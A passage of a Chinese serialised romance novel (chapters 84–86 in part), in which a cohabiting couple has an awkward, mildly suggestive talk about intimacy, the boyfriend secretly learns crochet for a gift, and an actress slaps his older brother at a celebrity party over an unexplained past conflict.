一听就在这故意用这种话题吸引她注意力,虞千绾曲肘就在他腹前杵了下,“对,看帅哥呢。” 真顺着玩笑说了他又恼,低头就在虞千绾脸颊轻咬了下,“不给看。” 虞千绾忍俊不禁,明明是他先提的,最后也是他先恼,跟个小娇夫似的。 她可以轻松一句让他不快,也能轻松一句让他暗爽,“看你这个帅哥。” 商恪景齿间的轻咬立即换做了吻。 忙碌一天的工作终于结束,商恪景把脑袋清空,什么都不想的就这么抱着虞千绾充电,看看她,看看她的手机页面。 虞千绾知道他累了,不光是今天,前几天照顾她这个病人也费了不少心力,睡觉都不安心,隔一会儿就得来给她测个体温。 她摸了摸自背后搭在肩上的脑袋,“今晚早点睡。” 商恪景蹭了蹭她的脸颊,拖着淡淡的懒音应:“嗯……” 他们虽然日日都要待在一起,但也不是每时每刻都要说些什么,譬如此刻,静静抱着感受着对方就是最好的休憩。 商恪景时而偏首在虞千绾颈间深埋呼吸,虞千绾时而将手搭在腰间他的手背上摩挲。 时间就这么悄然过去。 虞千绾看了会儿视频下的评论觉得无聊,顺手就点到了推荐页去刷app上推送的短视频了。 大约十来个视频后,虞千绾刷到了一个女生记录异地恋爱情的视频。 视频一开头就是“和男友异地的第四年,特殊的第1500天记录。” 虞千绾多放了些注意力在这条视频上,好奇别的小情侣有没有什么别出心裁的约会内容。 自从和商恪景恋爱后,她时不时就会去网上搜些情侣日常,可能搜索的频次多了,大数据也就给她推送得多了。 视频的开始,一切都很正常。 因为是恋爱1500天的日子,又正逢周末,博主和男友没再异地,认为这天怎么也得在一起过,于是他们选了个折中的地点从各个居住地赶去会合,再调个休,空出了四天的时间,正好当做一场短途旅游了。 但忽而,视频里的女生娇羞一笑,话锋急转说别看他们起初是这么约定的,见面后的情况完全和计划不同。 他们三天没出过酒店。 虞千绾身形一绷,已然意识到不对劲了。 奈何她视线受阻,垂眸只能看到商恪景额前的碎发,完全看不到他的上半张脸,连他有没有阖眼她肩头睡着都不清楚,除非她很明显地低偏下头去观察,但如若他没睡,这种时候的对视无疑很尴尬。 而且万一后面的视频中很单纯,是她想多了呢?此刻滑走被商恪景瞧见岂不是一下就暴露出了她心里不太单纯的小九九。 就在犹豫的须臾间,博主又满脸激动地分享说“姐妹们,如果你是火象星座,最好也要找个火象,在床上非常合拍!因为都重欲,不用担心自己的性生活,超级爽的,我和我男朋友——” 事实证明,的确如她所想是那些不太单纯的内容。 虞千绾顿觉自己太阳穴突突的,手忙脚乱急遽划拉走了视频,但已然迟了,该听的不该听的……都落到他们耳朵里了。 虞千绾四肢百骸彻底僵住,手机自动播放着新视频,她却有些耳鸣,脑袋嗡嗡作响,传入她耳中的音频声逐步减弱,她也没法再定下心去看。 只因她,四月中旬的白羊座。 而身后的他,八月的狮子座。 完美符合的双火象。 第84章 第 84 章 “不像我们宝宝,浑身都…… 虞千绾多希望商恪景太累, 已经伏在她肩头睡着了。 但她又比谁都清楚,这件事发生的概率太低,他几分钟前还在她颈侧用唇瓣有一搭没一搭地蹭着…… 正想着,环在她腰上的手忽然动了动。 虞千绾触电般, 瞬间什么都顾不得了, 近乎本能地弹站而起, 借口跟着就出, “我去一趟卫生间!” 可她的臀才堪堪暂离商恪景腿面毫厘, 腰上男人有力的小臂就往回一勾,虞千绾跟着又跌了回来, 不仅如此, 还比原先陷得更深了。 短暂失重了一瞬,虞千绾的手下意识就近攀住了商恪景肩膀稳住身形。 这种姿势下, 虞千绾的视线不复刚刚,她看向他时得稍稍仰首。正难为情着, 只一眼她就错开了视线。 商恪景单手抱在虞千绾臀下的大腿外侧, 长腿动了动,调整了个让他们都舒服的坐姿。 另手向上,覆住虞千绾半张小脸,他掌心温温的, 一贯让虞千绾很有安全感, 但此刻,这抹温热却像是危险袭来的前兆,他的指腹摩挲过她面阔时还会泛起淡淡的痒意, 虞千绾想要远离,但她整个人都陷在他怀中,另侧就是他的胸膛。 于是, 她从他的掌心逃离,大半张脸颊都埋到了他怀里,但依旧没能躲开,因为他的手又跟了过来,不过这次掌在了她颈后。 商恪景垂首,侧脸挨在她鬓角处,话声浅浅轻诉,“害羞了?嗯?” 虞千绾不想回答的,但她不回他就一直在她耳廓和侧脸这片作乱,时重时轻的鼻息暖在她肌肤上比手指实打实的触摸还要让人感到酥麻,她只得慢吞吞闷出句:“……别问。” 商恪景轻笑声,知道这个话题敏感,于是他的声线放得更柔,“羞什么?你都感觉过我那么多次了,我也感觉不到你的,要羞不也该是我羞吗?” 他不提还好,一提……虞千绾就忍不住往那想,感知也就愈发明显起来。 他并没有反应,但她就这么斜坐在他腿上,整个人都要埋到他怀里,只隔着单薄的睡裤,置于内侧的那只腿难不感觉不到小小景的存在。 虞千绾没经历过这些,也没亲眼看过,她不懂得靠着拥抱感受到的触感去判断他的尺寸究竟如何,不过肯定不会是小的,他总鼓鼓囊囊的……每每穿着西裤和她接完吻后都格外明显。 脆弱的耳骨忽然被坚硬的牙齿轻咬住,虞千绾想躲,但颈后的长指上抬控住了她的脑袋不遂她愿,反倒还跟受了委屈似的问:“怎么不理我?” 虞千绾既羞又恼,到底还是把脑袋探出了些,但就从他怀里露出半截眼睛。 一半眼睛向下的面部依旧掩着。 眉中微微皱着,似娇似嗔:“……你这都是淫.秽色情,我才不要跟你聊。” “宝宝,我们俩认识这么多年,还要在这方面装单纯吗?” 商恪景本不想说破的,毕竟维护些女孩子的羞耻心,但听到虞千绾这话,他委实有些忍不住想笑,“你的那些小说、漫画,还有一个叫什么番的——” “啊!” 虞千绾脸颊爆红,倏地就坐直起身,双手一并捂住商恪景的嘴,低叫了声阻停,不许他再说。 青梅竹马也是有坏处的,譬如太亲近,隐私免不得会有些时候被触及到,虽然她已经尽量避免了,但二十多年的时间,总会有些疏漏的时刻。 比方说虞千绾用平板看完小说或漫画忘记退出页面,商恪景来她家的时候借她平板玩,她本人早忘了那茬就让商恪景自己输密码玩,结果一打开就是她上一次使用的画面。 显然,这些画面特指的是不正经类型,如若清水,早不会存在于他们的记忆里。 有好几次意外在虞千绾平板上看到大do特do的小说页面,商恪景皆默然着当做什么都没看到。 毕竟文字没有声音,商恪景看清上面的内容后就赶忙切了页面,不然说出来他们俩都尴尬。 但那次,虞千绾平板里最后看的是段视频,商恪景一边输入平板密码,视频一边就自动播放了。好死不死,视频还正在最高潮的时候,男人在喘,女人在叫,一下就传遍了整个客厅,商恪景想装不知道都不行,也是那次,商恪景才知道还有类动漫叫里番。 时隔两三年又听商恪景提起这茬,虞千绾皮肤轰然就滚烫了起来,气血上涌,脸颊温度分外灼人,跟发烧似的。 虽然他们之间大大小小发生过不少尴尬事,但这种极度尴尬的还是罕见。 这事的尴尬程度也绝对可以排到TOP1。 还记得那天,虞千绾独自待在卧室戴着蓝牙耳机看些成年人的东西,哪知道正看在兴头上的时候乍然接到了姐姐的电话,即便只是一通什么都看不到的来电也让虞千绾羞耻不已,她赶忙关上平板,清了清嗓佯装自如去接姐姐的电话。 结果得知保姆带着小橙子玩的时候没看好,惹得小橙子摔了一跤,膝盖流了不少血。但虞昭音彼时正在国外,虽然立刻买了回国的机票可还是鞭长莫及需要十几个小时,只能让虞千绾先去医院陪陪小橙子。 虞千绾闻言哪里还能想起平板里播放的内容,立刻就冲出门赶去医院照看小橙子了,等她再回家时已然完全忘了自己先前在用平板看什么了,也没有再用平板。 所以商恪景来她这玩找她要平板的时候,她很自然就把平板拿给了他,然后那段音频就这么在他们之间回荡起来。 彼时虞千绾很羞耻没错,但也挺庆幸的,庆幸家里只有他们俩没有旁人,庆幸这个人是他,他不会胡乱往外说也不会没分寸的在她面前多提,否则场面怕是要更加混乱。 这么多年,商恪景都没说过一个字,虞千绾想当然地认为这事都要烂在他们肚子里进棺材了,谁料他居然今天提了,很不设防的一下,虞千绾整张脸都涨得通红。 商恪景将她的手自唇前朝下拉了拉,解释,“我不是要拿这件事笑话你,我只是想要表达,我们很亲密。” “在不是男女朋友前,我们就已经很亲密了,我们很了解对方是什么样的人,不需要过多掩饰什么,所以——” 商恪景顿了顿,眸光晦涩不明地烁闪了下。 虞千绾倒也没那么敏锐,不能仅靠这一秒的眼神微变就感知到他的所想,但也不知怎的,她下意识就敛了敛眸避闪,双手也垂放了下来。 商恪景没再控住她,只是自己挨靠了过去,鼻尖轻轻蹭了蹭她的,“……所以,你如果有需求可以告诉我,暗示也可以,只要我接收到一点讯号,我就会懂你的意思,可以让你舒服些。这种事本来就该男生主动,但我确实也没什么经验……总怕不合时宜,万一揣摩失当会让你感到冒犯。” 他口中的“舒服些”显然不是指床上的长驱直入,只是用旁的法子帮她纡解些,可能是手,也可能……是别的。 不可否认,商恪景一定是有私心的,但恋爱中总要有人先迈出这一步,毕竟有需求的不是单独一方,是双方都会有的。 不过在当下,商恪景确实没想到自己的需求,他想得更多的是让虞千绾全方位舒适,他希望自己给到她的恋爱体验感是身心愉悦的,他知晓单独归家后独自在浴室里纡解的滋味有多难受,尤其是脱离了恋人的怀抱触不到也嗅不到后,总是出不来,很折磨人。 虞千绾脑袋耷拉了下去,额头抵在他锁骨处,红着耳尖没出声。 半晌,她小幅度点了点头。 商恪景轻轻揉捏了几下虞千绾的耳垂,就像在夸奖一个乖宝宝。 他侧首吻了吻她还烫着的面颊,“那……接吻的时候有过感觉吗?” 他们第一次这样几乎是挑明了在聊这话题,虞千绾羞窘不已,但想着商恪景刚刚的话,确实心里也有些好奇那感觉…… 她脑袋下压得更多,又点了点。 商恪景的声线没有太多波动,持续温柔着,“好,我知道了。” 虞千绾很遭不住商恪景这样讲话,日常打闹长大的青梅竹马少有这种不加掩饰的温柔时刻,他音色又天然好听,再这么克制着,刻意用舒缓柔和的调调诉出,让虞千绾感觉自己的心脏像被温水包裹着。 她又从来吃软不吃硬,不自觉就跟着柔和下去。 情不自禁的,她微微仰起脸,去含商恪景的下唇,慢吞吞吮了吮,再以舌尖去舔,而后滑入他唇齿间。 商恪景搭在虞千绾颈后的手加了些力,加深这枚吻。 但许是刚经历过一次更深层次的交流,他们都吻得很轻柔,静静享受着这抹仿佛又近了一点的温存感。 动作是轻缓的,身体的反应却不是。 起码商恪景是如此。 虞千绾很快就感觉到了,她眨了眨眼,缓缓退开了唇,同他暂分。 商恪景刚刚说了一连串,虞千绾现下便也没那么难以启齿,她终于问出了自己好奇已久的问题,“……你这个,好像每天都有反应,难道每一次……” 她声音越说越轻,“都要在和我分开后自己默默弄好吗……?” 作为处男,商恪景面对着虞千绾聊这些也没那么游刃有余,只是刚刚听到虞千绾手机里的那番话时想—— 如果真是他们俩都在这方面需求比较盛的话,那有关这类的话题该是他先提出。她有的话,他可以帮她。没有的话,日后有了也无需过于腼腆不好意思开口。总之,他很情愿。 但正儿八经面对虞千绾的好奇,他不禁垂首摁了摁眉心,避开她视线缓了缓才能答复:“……也不是每一次起反应都得处理,有时候缓缓能好。主要问题是,大部分时候,我到家都还忍不住想你,反应就比较大。” “奥……” 虞千绾又羞耻又有些想笑,唇角难压地上翘。 商恪景好不容易酝酿好些情绪可以直视她了,结果一抬头就看到她在明晃晃瞧着他笑。 他顿时有些心态不平,掐了掐她脸蛋,“虞千绾你怎么回事?我刚刚可没笑你。我们俩不应该公平对待对方吗?以一种健康交流的方法面对恋爱里遇到的新问题。” 虞千绾翻脸不认人,说话愈发大胆,“现在硬着的人又不是我。” 商恪景气极反笑,他偏首看了眼空处,停滞几秒,想到什么,哼笑声回正视线,语调刻意拖着懒洋洋的尾音,“是,不像我们宝宝,浑身都软乎乎的。” “啊!商恪景。” 虞千绾从来都是个双标的,她可以对待商恪景的很多方式,商恪景都不能这么对她,她会受不了,譬如此刻,她脸上刚有些消散的温度骤然又回笼,仿佛刚刚先挑衅的人不是她一般。 虞千绾想跑,但被商恪景看破。 他单臂直接就拦在了她腰后,径直将她朝前一拢,让她没法离开。 不仅如此,他还坏心地故意将腿敞开,让她比以前都明显的感知到他,压在她腰后的手也不断加重,迫使她不断向热源靠近,让她长长记性。 第85章 第 85 章 “商知珩你大爷的!”…… 半个月的时间, 虞千绾家的侧卧里基本已经全是商恪景的物什。 侧卧外的公共空间内也零星有着他的生活痕迹。 自从虞千绾发烧后,他就没回自家住过,起初侧卧里没他的衣服,他每天还会回去拿套翌日要穿的衣服, 后来衣服齐全了他就再也没回去过, 非常丝滑就适应了和虞千绾的同居生活, 把自家忘到九霄云外去。 不过在商恪景刚过来住下的那几天, 虞千绾不自在过一阵。 她怕保姆打扫别墅的时候进到侧卧发现了商恪景住在这, 虽然保姆不可能当着她面说什么,也不会巴巴转告给她爸妈, 但她爸妈偶尔会询问保姆几句有关她这边的情况, 到时候保姆可能会提。 自己可以接受和男朋友住在一个屋檐下是一回事,被爸妈知道又是一回事, 何况男女朋友住在一起很难不让人浮想联翩,虞千绾有些难为情, 便让保姆不必打扫侧卧客卧, 以那里常年没人为由只让其打扫好主卧和公共区域就行。 保姆听话照做。 商恪景更是不可能有什么意见,每天老老实实打扫好自己住的侧卧,这对他来说没什么难度,他自己本来就爱干净, 也不喜欢外人进他卧房。 就是洗衣服洗鞋这方面有些麻烦, 他没那么多闲暇时间,本来一天中的大多时间就放在工作上了,再忙这些哪还有时间和虞千绾腻在一起, 而且有些衣服必须干洗。他便每天把换下来的脏衣服送回自家别墅,时而有些兴致,他们晚上一起散步, 散步路上正好也可以把衣服顺手捎回去。 如此他家保姆也不会觉得他家里没人住,全方面配合虞千绾的计划。 但不到一周,虞千绾自己就放弃了。 保姆来别墅打扫的时候都是商恪景的工作时间,他不在家,可虞千绾一直都在,她总是提心吊胆的,找各种自己都感到拙劣的理由持续和保姆待在同一空间内,防止保姆觉察到了什么她可以及时找补。 如此持续了四五天,倍感疲惫的虞千绾直接摆烂,随便保姆发没发现吧,反正她是没那精力天天跟个特工似的伪装了,而且商恪景的司机天天在她家门口接送他,家里人真想知道的话压根瞒不住,无非是掩耳盗铃罢了。 任由发展几天后,虞千绾发现还是这样舒服,爸妈那边也没发过来些什么试探或调笑的消息,她便彻底随性,没再在保姆面前刻意藏着掖着,时而还会主动让保姆去收拾收拾侧卧除卧房外的其余空间。 见她如此,商恪景也便无需再每日在两栋别墅之间往返送衣服,直接就放在侧卧让保姆拿去一同清洗。 这天,商恪景下班的时候少见的背了个包。 他偷感很重地将包半掩在身后,第一次下班没有先去主卧,反而生怕被虞千绾发现,放轻脚步进了侧卧,直奔卧室将包放下,这才松了口气。 包内放的是钩针和几团不同颜色的毛线。 虞千绾前两天给商恪景分享了一个短视频,视频里展示的是手工钩织玫瑰花包包,她赞叹说人家的手好巧,这么漂亮的包包都能做出来。 商恪景看到的第一反应是想给她也准备一个,他们交往到现在,他好像还没送过她什么亲手做的东西,送的全都是直接花钱买的。 于是商恪景立刻就去网上搜索了教程,确定教程详细他用心学肯定也能做出来后便立刻网购了材料包。 不过虞千绾对玫瑰花没兴趣,他几番挑选,最终选定了茉莉花元素的包包。 但他们天天待在一起,准备惊喜这种事就变得格外难。 虞千绾还不定期勤快,时而很喜欢狂拆快递的解压感会把收到的快递都给拆了,怕惊喜还没诞生就灭亡,商恪景便没敢让快递直接寄到家里,而是填的永誉集团,等快递到达后再自己偷偷把材料包从集团揣回来。 下班的途中,商恪景坐在后座跟着视频教程捣鼓了一路,幸而教程很详细,他花了时间动了手便有了个大概的认知,但毕竟第一次弄,手生,劲使得轻重不一,勾出来的没有网上教程那么平整漂亮。 他想了想,转念打算先勾几个小东西练手,比如小杯垫小耳机包这类,他在网上也找到了不少教程,等手练熟些后有些自信了再给她做大些的包包,那样包包也能好看些。 想早些做出送给虞千绾,商恪景在卧室争分夺秒跟着教程又学了五分钟才收好东西换了身家居服去主卧寻虞千绾。 惊喜要准备,人更要陪,不能顾此失彼。 不过心有惦记,商恪景总忍不住脑补虞千绾收到小礼物时的雀跃神情,唇角有些压不住。 手指搭到主卧门把手上时,商恪景另手强制性按平了自己的唇,一吸一呼尽量控制好表情,不让虞千绾觉察到。 起居室内,虞千绾正在打电话,也不知在跟谁聊,总归聊得很开心,笑吟吟的,听到开门声顺势望过来,朝着商恪景指了指手机做了个“旎旎姐”的口型。 商恪景了然比了个ok的手势,不打扰她们聊天,就静静坐到了虞千绾身边搂着她的肩。 虞千绾手机没开扩音,但他们挨得近,商恪景时而能听到几句手机里传出的苏旎的声音,加之还有虞千绾的回话,他差不多可以确定苏旎要回国了。 约莫一刻钟后,苏旎那边传来助理的声音,有工作要忙,她们的对话这才不得不中止。 电话一边挂断,虞千绾一边抬手环住商恪景脖颈,蓄着笑的眼眸亮晶晶直视着他同他分享,“旎旎姐下周一就要回来了!这次起码能待三四个月呢,她接了部国内的电影。” “而且,旎旎姐说她下周三要去参加一个她们那个圈子里私下的聚会,参加聚会的人都超级重磅,要么是顶流艺人,要么拿过有含金量的大奖,要么是知名的大导。她知道我在做自媒体,说可以带我一起去,虽然肯定不能拍的太过火,但简单合个照肯定没问题,镜头随便一转晃过几个人物都不用愁点赞量和讨论度了,总归当做素材积累肯定是顶级素材了。” “旎旎姐还说她要和我合拍视频,可以让我放在账号上,到时候我的视频就是她归国后首次网络曝光,啊啊啊啊,想想就激动。” 虞千绾已然在幻想世界里遨游得不能自已,虽然视频还一点素材都没有,但并不妨碍她隐隐感觉这条视频发出后点赞量或能突破新高。 毕竟这是场不同于以往的聚会场,没有公开直播,没有媒体,光是这点就足够让虞千绾握住独家性,她拍下的内容一定是独一无二的,没别的人或平台分她的流。 商恪景很喜欢看她因为突然冒出的工作灵感或契机说个不停的模样,整个人都像在发光,无比耀眼夺目。 因为这场突如其来的聚会,虞千绾高兴完后就抱起电脑开始构建脚本的大致框架,连续几天都忙得热火朝天。 商恪景则待在她身边,两个人各忙各的。 待她睡觉后,商恪景再回侧卧去学手工钩织。 周三这天很快到来。 商知珩在下午收到商恪景问晚上要不要一起出去吃饭的消息时稀奇地挑了挑眉,回复:【怎么?千绾今天不在家?】 他平日里可是一下班就急匆匆回家了。 【嗯,她有工作忙。】 收到这条消息的商知珩毫不意外,一脸意料之中地敲下一行字——【行,你挑餐厅吧。】 他刚敲下句号,还不待按下回车键,商恪景另条消息就率先弹出:【苏旎姐不是回国了嘛,她要去参加一个演艺圈的私下聚会,想着千绾在经营账号,网友爱看这些内容,就带她一块去了。】 仅仅看到前几个字,商知珩浑身血液就在瞬时间凝固住。 欣喜、错愕、失落、紧张……各种情绪层层递进交织。 习惯了商知珩聊着聊着就消失,商恪景自顾自从包里掏出自己织了一半的小杯垫,边织着边等商知珩不知何时才能回过来的消息。 反正今晚不急着卡下班点回家,工作也不必赶着做完,摸个鱼很正常。 谁料倏忽,办公室的门被人猛地从外急促推开。 动静不小,商恪景和陶祺宇同步抬头看去,双双看到绷着张脸的商知珩,气场吓人。 完了—— 陶祺宇当即起立,但底气不足地喊了声“商总”,心里默默流泪。 被商总看到他这么纵容着小商总在上班时间织东西,肯定要训他了…… 商恪景眼皮一跳,慌忙也将手上的小杯垫塞入抽屉里。 商知珩深吸口气,反手关上门时动作与开门的动静截然相反,他分外轻缓。 就像是暴风雨前的宁静,比真正的严肃还让人心颤。 商恪景讪笑,试图以一声“哥……”唤醒商知珩的仁慈心。 商知珩默着声,一步一步走到商恪景办公桌前,默了又默。 办公室里的氛围一度冷至冰点。 直到他忽问—— “知不知道聚会地点在哪?” “啊?” 商恪景懵了。 商知珩气息骤然就有些掩不住的发乱,不是很有耐心地咬着重音重复:“聚会地点。” “——我知道我知道,那天苏旎姐给千绾发消息的时候我正好在旁边看到了。” 商恪景虽然不明所以,但依旧老实报出地址。 “已经开始了吗?” “没,五点多才正式开始,她们现在正在去的路上。” 商知珩低头看了眼腕表,“走。” “啊……?去参加聚会吗?可那是她们的工作场,我们去不合适吧?” 商恪景脑袋已经完全不转了,他不知道哥哥到底想要干什么。 “行,那我自己去。” 商知珩转身就走,商恪景从未见过自家哥哥这么情绪不稳,这么……好似什么都不想顾及的模样,全然失了分寸。 担心有什么事,他当即起了身,抓过手机就小跑跟上商知珩,“哥,我跟你一起,你别急。” 就这么,商恪景和商知珩坐上了前往聚会场的车。 随着时间,商知珩理智明显逐渐回笼,面上又开始浮现那副不显山不露水的模样,但眼神还是时而会掠过几道异样。 商恪景询问情况,问商知珩是不是有什么事,是要去那里找苏旎姐吗?他可以给虞千绾发消息,让虞千绾转告苏旎一声,看看她们有没有空在入场前见一面。 商知珩只是摇了摇头,道了句“没事,什么都别跟她们提”后就一路无声地望着窗外。 商恪景虽然到现在还是茫然的不知道情况的状态,但也不可能蠢到相信商知珩口中的“没事。” 所以还是偷偷给虞千绾发消息,问她那边有没有在和苏旎姐的对话中觉察到什么异样。 虞千绾说没有。 商恪景刻意提了句说“那你和苏旎姐聊一句我哥呢?” 隔了一会儿,试探过的虞千绾依旧回复说没有反常。 商恪景单手支颐,百思不得其解,眉头困惑得越拧越紧。 自家哥哥向来是最沉稳的,而苏旎姐是个丁点不悦都不能忍的火辣性子。 可现下怎么苏旎姐那边无动于衷,反倒是哥哥看起来像是座将要爆发的火山? …… 因为苏旎刚回国,高档礼服什么的都还没从国外运回来,所以参加聚会前,虞千绾陪着苏旎先去了趟事先约好的服装设计师店里换上礼服再过来酒店。 那家店离得有些远,所以路程上花了不少功夫,最后倒比商恪景和商知珩还要迟到。 虞千绾不知道具体情况,只想着他们来都来了,不如一起进去玩玩得了。 反正也正好晚餐点,当是单纯吃顿饭也行啊。 她便询问了苏旎,苏旎没什么意见,说可以把他们俩一起带进去。 虞千绾立刻就给商恪景发消息了。 结果她们的车在酒店前停下时,只看到了等在一旁的商恪景,他替商知珩解释说临时有个工作电话,尚不方便,所以他们三个先进去。 一直和虞千绾欢声笑语的苏旎在听到这话瞬间变脸,她显然不信商恪景的话,直接冷声问道:“车停在哪?” 商恪景和虞千绾同时嗅到了不妙的气息。 但一面是哥哥一面是姐姐,都不好违背…… 商恪景只得硬着头皮领着苏旎去了停车场。 同商恪景确定车辆时,苏旎这么问:“他坐哪边?” 商恪景指了指车后座的左侧。 踩着高跟鞋的苏旎脚下生风般倏地走得极快,把商恪景和虞千绾甩在身后一截。 然后,虞千绾和商恪景眼睁睁看着苏旎曲指叩了叩后座车窗。 紧合的车窗须臾后降下,还不待商知珩的脸完全露出,苏旎的手就片刻等不及般伸了进去,干脆利落地扇在了商知珩的脸上。 完全不收力的一下,打出清脆一声响。 还伴随着放声的一句骂,“商知珩你大爷的!” 虞千绾和商恪景哪见过这场面,惊得同时停住脚,双双瞠目。 作者有话说:嘿嘿,恪景做的那些小东西真的超级可爱!我在xhs上找了参考图,等他送给千绾的时候,我发在微博上分享给大家看!真的超级超级可爱!- PS:苏旎在36章出现过哦,忘记她的宝可以返回去看一下。《 》 85-90 第86章 第 86 章 酒店房卡 沉寂。 死一般的沉寂。 还不待虞千绾和商恪景做出什么反应, 径直甩了商知珩一巴掌的苏旎又华丽丽转身风风火火回来了。 高跟鞋在地面踩出啪嗒啪嗒的清脆声,大波浪长发在身后有节奏地起落着,更衬得她气场爆棚。 两人当即一个低头一个侧目,皆做出什么都没看到的模样。 路过虞千绾身边时, 苏旎脚下一步没停, 径直伸手攥住虞千绾小臂就拉着她往酒店门口去, “走, 妹妹, 姐带你去好好享受享受,里头全是帅哥, 何必吊死在商家男人身上。” 显然, 商恪景因为商知珩被连坐了。 虞千绾边被苏旎拉着走,边扭头去看商恪景。 商恪景无奈一笑, 但并不会太把这话往心里搁,他们认识多年, 早知道苏旎跟辣椒似的性格, 而且还是最辣的那种辣椒。不过她的情绪来得快去得也快,矛盾一旦解除也就没什么了。 商恪景便指了指车的方向示意自己去陪商知珩,就不跟她们一起去聚会场里了。 虞千绾刚点了点头回应他,脑袋就被苏旎掰了回来。 苏旎一副美人嗔怒态凝着虞千绾, “不许看他。” “我不看。” 虞千绾乖顺眨了眨眼, 声音弱了弱,“但是旎旎姐,我刚刚回头的时候看到后座车门打开了, 应该是知珩哥要下来,你们真的不要聊聊吗?” 苏旎虽然很不在意别人的目光,但绝不是个无理胡来的人, 她不可能无缘无故扇商知珩一巴掌,肯定是和商知珩之间有什么他们不知的内情。 毕竟认识这么多年,瞧见他们闹别扭,虞千绾肯定还是想帮着他们和好的。 “是吗?谁管他下不下来。” 苏旎嘴上这么说,但眼睛略往后方短暂瞥了瞥,奈何他们之间离得有些距离,她又不想太明显,所以这一眼基本什么都没看到。 苏旎继续不动声色往前走着,但耳朵在仔细听着身后的动静。 约莫半分钟,绝对够商知珩快步追上来的时间,苏旎依旧没有听到有脚步声传来。 那点希冀转而被更甚的憎恨覆灭,她真气自己刚刚没多扇商知珩两巴掌。 …… 聚会一直持续到晚上九点多才陆续有人离场。 虞千绾和苏旎算是离场比较早的那一批,但时间也临近22点了。 虞千绾今日没让司机接送,来时是苏旎来她家楼下接她载着一块来的,回去自然也是苏旎送。 但苏旎碰到商知珩后心情明显不好,晚上多喝了些酒,人看着有些萎靡,虞千绾便想让她早些回家休息,只站在车边没上车,弯腰同她道:“旎旎姐,我们住的地方离得有些远,天色不早了,你送完我再回家还要耽搁不少时间,我自己回去就行啦。” “那哪行?” 苏旎虽然的确头晕脑胀的不适,但怎么也不可能大晚上的把虞千绾一个人丢在这,她立即就拍了拍车座,“快上来。” 知道苏旎在担心什么,虞千绾指了指商恪景车的停放位置让她安心,“旎旎姐你放心,恪景在那等我呢,我坐他车回去,不是单独一个人,咱们俩就别客气啦。” 苏旎调笑,“这到底是关心我更多呢,还是想和男朋友相处更多呢?” “我冤枉,当然是关心你更多。” 虞千绾撒着娇轻皱面容,“我也没有联系过他,是他自己忙完工作后又主动从永誉过来了,非说默默跟在我们车后面也好。” 说到这,虞千绾不免也为他们恋爱的腻乎程度感到些许羞臊,顿了顿才跟苏旎继续道:“但现在我不是看旎旎姐你有些累嘛,我跟他回去的话也省得你再往返嘛。” 这么说,商恪景和商知珩中途该是离开了的。 苏旎透过车后窗看了眼虞千绾刚刚指向的那片,范围内再无傍晚时分载着商知珩的那辆车。 看来,离开后再来的人只有商恪景一个。 怒意似乎都被酒意消弭,苏旎牵强地扯了扯唇角,只余黯淡,“好,去吧。” 苏旎在现实和工作上的演技悬殊巨大,生活里的她委实演技差劲,什么情绪都藏不住。使得虞千绾轻易就看出她是因为商知珩才如此,但越提只会越让她心情不好,何况虞千绾不清楚哥哥姐姐之间到底发生了什么,可能多说多错好心办坏事。 虞千绾便只道了句“到家记得给我消息”。 苏旎颔首。 道完别,虞千绾转身往商恪景的方向去,站在一旁候着的司机立即关上了后座车门。 收到虞千绾说一道回家消息的商恪景立即让司机将车朝前开去迎虞千绾。 就在车停稳,虞千绾打开车门要上车之际,苏旎的车也启动了,缓缓驶离视线。 与之同时,隐匿在不远处的一辆陌生车辆车灯忽然大开,跟着也驶出。 商恪景视线正好掠过虞千绾身侧,看到了那辆跟在苏旎车后一同驶离的车,觉察到什么,他挑了挑眉,后又是情绪不明的笑。 虞千绾顺着他的视线扭头望了望,但什么都没发现,满脸困惑又回过视线瞧他,“嗯?怎么了?你的表情怎么这么丰富?” “后面那辆跟着的是我哥的车。” “啊?知珩哥来了?!” 虞千绾声线陡然拔高,举起手机就要给苏旎发消息,“你怎么不早跟我说,我还以为就你一个来了呢。旎旎姐刚还失落呢,我得赶快和她说一声,千万不能让他们因为我起什么误会。” “先别联系,我也是刚刚看到车才知道我哥来了。” 商恪景拉住虞千绾胳膊阻止她的动作,“我哥那车刚买回来半个月不到,还没多少人见过,连我也是之前偶然在他车库看到的,但我没跟他提过,所以他不知道我知道他的这辆车。” “他应该就是不想我们知道他来,才故意开的这辆车。” 闻言,虞千绾拿着手机犹豫,感觉和苏旎说也不是,不说也不是,一双眉犯愁地皱着。 夜间风寒,虞千绾虽在礼服裙外裹了件厚实的大衣,但小腿中段往下还裸露在外,衣摆裙摆和发丝被风刮得在空中左右乱荡,看着就冷。 商恪景将她朝车上拉了拉,“上来说,外面冷。” 虞千绾踩着高跟鞋矮身上了车,郁闷一瘫,“你说这可怎么办啊?他们一个比一个嘴严,什么都不说,咱们什么都不知道,想帮忙都不知道怎么帮。” “旎旎姐也什么都没跟你说吗?” 虞千绾无奈摇了摇头。 商知珩话少嘴严是他们皆知的事,可苏旎不同,她一向不藏心思,说话也是最直白的。 偏这次,苏旎也没多说什么,只是从语调和情绪上看得出来商知珩把她惹生气了,且气得不轻,不是轻易能好的。 虞千绾抱住商恪景胳膊,下巴挨在他肩头,仰眸瞧他,“诶,你说他俩到底是谈过恋爱又分手爱恨交织了还是单纯发生过什么很大的矛盾?” “我倾向于前者。”商恪景果断这么说,“我哥这人你也知道,虽然话少看起来也严肃,但其实性格很淡很包容,尤其在日常生活中,基本不会和身边人起什么大冲突。” “而且我哥今天很反常,特别反常,能让他情绪起伏成这样,就足够证明他很在意旎旎姐了。” 商恪景说了,虞千绾才知道。 原来在她和苏旎在聚会内社交时,商知珩多次接到了助理催促提醒的电话。 商知珩晚上还有场重要的线上跨国会议要开,必须得准时赶回会议室同高层们一起开会。 向来工作狂属性的商知珩却在接通电话后全都以神情淡漠的“嗯”声应下,始终没有让司机开车回永誉的意思。 苏旎的手上戴了个蝴蝶形状的戒指,扇商知珩时无意剐蹭到了他的皮肤,在他侧脸留下了一道淡淡的血痕。 商恪景提醒后,商知珩仿若血出在旁人身上般,面色无波地用手帕一下一下擦去反复凝出的小血珠。 彼时,商恪景看着自家哥哥的做派,只觉有种平静的疯感,似在看一个熟悉又陌生的人。 虞千绾仅是听着商恪景的口述就惊圆了眼。 她从没见过这样的商知珩。 “后来几乎是卡着点,我才陪着我哥回了永誉,路上我问过他开完会后要不要和我一起再回来,他拒绝了,我忙完工作后给他发消息他也没回,我就独自来了,没想到他默默地来了。” “希望他们能和好,不然这种彼此在意但错过的感觉好难受。” “我这些天多去找找我哥,看看能不能试探出些什么。” 